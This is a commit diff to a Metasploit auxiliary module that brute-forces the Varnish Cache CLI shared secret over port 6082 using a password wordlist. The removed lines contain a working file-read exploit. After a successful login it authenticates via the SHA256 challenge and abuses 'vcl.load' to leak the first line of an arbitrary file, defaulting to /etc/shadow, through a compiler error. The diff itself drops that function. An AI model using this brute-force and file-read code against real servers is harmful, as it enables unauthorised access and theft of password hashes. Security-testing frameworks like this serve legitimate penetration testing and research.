6
6
require 'msf/core'
7
7
require 'metasploit/framework/credential_collection'
8
8
require 'metasploit/framework/login_scanner/varnish'
9
+ require 'metasploit/framework/tcp/client'
9
10
10
11
class MetasploitModule < Msf ::Auxiliary
11
12
@@ -15,10 +16,9 @@ class MetasploitModule < Msf::Auxiliary
15
16
16
17
def initialize
17
18
super (
18
- 'Name' => 'Varnish Cache CLI Login Utility and File Read ' ,
19
+ 'Name' => 'Varnish Cache CLI Login Utility' ,
19
20
'Description' => 'This module attempts to login to the Varnish Cache (varnishd) CLI instance using a bruteforce
20
- list of passwords. This module will also cause an error in Varnish by load an arbitrary file
21
- in order to read the first line of content from the insuing error message.' ,
21
+ list of passwords.' ,
22
22
'References' =>
23
23
[
24
24
[ 'OSVDB' , '67670' ] ,
@@ -38,10 +38,7 @@ def initialize
38
38
[
39
39
Opt ::RPORT ( 6082 ) ,
40
40
OptPath . new ( 'PASS_FILE' , [ false , 'File containing passwords, one per line' ,
41
- File . join ( Msf ::Config . data_directory , 'wordlists' , 'unix_passwords.txt' ) ] ) ,
42
- OptPath . new ( 'FILE' , [ true , 'File to retrieve first line of' , '/etc/shadow' ] ) ,
43
- OptString . new ( 'USERNAME' , [ false , 'A specific username to authenticate as' , '<BLANK>' ] ) ,
44
- OptBool . new ( 'USER_AS_PASS' , [ false , 'Try the username as the password for all users' , false ] )
41
+ File . join ( Msf ::Config . data_directory , 'wordlists' , 'unix_passwords.txt' ) ] )
45
42
] , self . class )
46
43
47
44
# no username, only a shared key aka password
@@ -51,7 +48,7 @@ def initialize
51
48
# usernames that are passed in.
52
49
@strip_usernames = true
53
50
end
54
-
51
+
55
52
def setup
56
53
super
57
54
# They must select at least blank passwords, provide a pass file or a password
@@ -66,41 +63,10 @@ def setup
66
63
end
67
64
end
68
65
69
- def read_file ( password )
70
- connect
71
- sock . put ( "auth #{ Rex ::Text . rand_text_alphanumeric ( 3 ) } \n " ) # Cause a login fail.
72
- res = sock . get_once ( -1 , 3 ) # grab challenge
73
- if res && res =~ /107 \d +\s \s \s \s \s \s \n (\w +)\n \n Authentication required./ # 107 auth
74
- challenge = $1
75
- response = challenge + "\n "
76
- response << password + "\n "
77
- response << challenge + "\n "
78
- response = Digest ::SHA256 . hexdigest ( response )
79
- sock . put ( "auth #{ response } \n " )
80
- res = sock . get_once ( -1 , 3 )
81
- end
82
- sock . put ( "vcl.load #{ Rex ::Text . rand_text_alphanumeric ( 3 ) } #{ datastore [ 'FILE' ] } \n " ) # only returns 1 line of any target file.
83
- res = sock . get_once ( -1 , 3 )
84
-
85
- # example format from /etc/shadow on an ubuntu box
86
- # Message from VCC-compiler:
87
- # Syntax error at
88
- # ('input' Line 1 Pos 5)
89
- # root:!:17123:0:99999:7:::
90
- # ----#--------------------
91
-
92
- if res && res =~ /\( 'input' Line \d Pos \d \) \n (...+)\n /
93
- print_good ( "First line of #{ datastore [ 'FILE' ] } : #{ $1} :" )
94
- else
95
- vprint_error ( "Unable to read #{ datastore [ 'FILE' ] } :\n #{ res } \n " )
96
- end
97
- disconnect
98
- end
99
-
100
66
def run_host ( ip )
101
67
cred_collection = Metasploit ::Framework ::CredentialCollection . new (
102
68
pass_file : datastore [ 'PASS_FILE' ] ,
103
- username : ''
69
+ username : '<BLANK> '
104
70
)
105
71
vprint_status ( 'made cred collector' )
106
72
scanner = Metasploit ::Framework ::LoginScanner ::VarnishCLI . new (
@@ -115,7 +81,6 @@ def run_host(ip)
115
81
)
116
82
vprint_status ( 'made scanner' )
117
83
scanner . scan! do |result |
118
- print ( result )
119
84
credential_data = result . to_h
120
85
credential_data . merge! (
121
86
module_fullname : fullname ,
@@ -127,9 +92,6 @@ def run_host(ip)
127
92
create_credential_login ( credential_data )
128
93
129
94
print_good "#{ ip } :#{ rport } - LOGIN SUCCESSFUL: #{ result . credential . private } "
130
- connect
131
- read_file ( result . credential . private )
132
- disconnect
133
95
else
134
96
invalidate_login ( credential_data )
135
97
vprint_status "#{ ip } :#{ rport } - LOGIN FAILED: #{ result . credential . private } (#{ result . status } )"
0 commit comments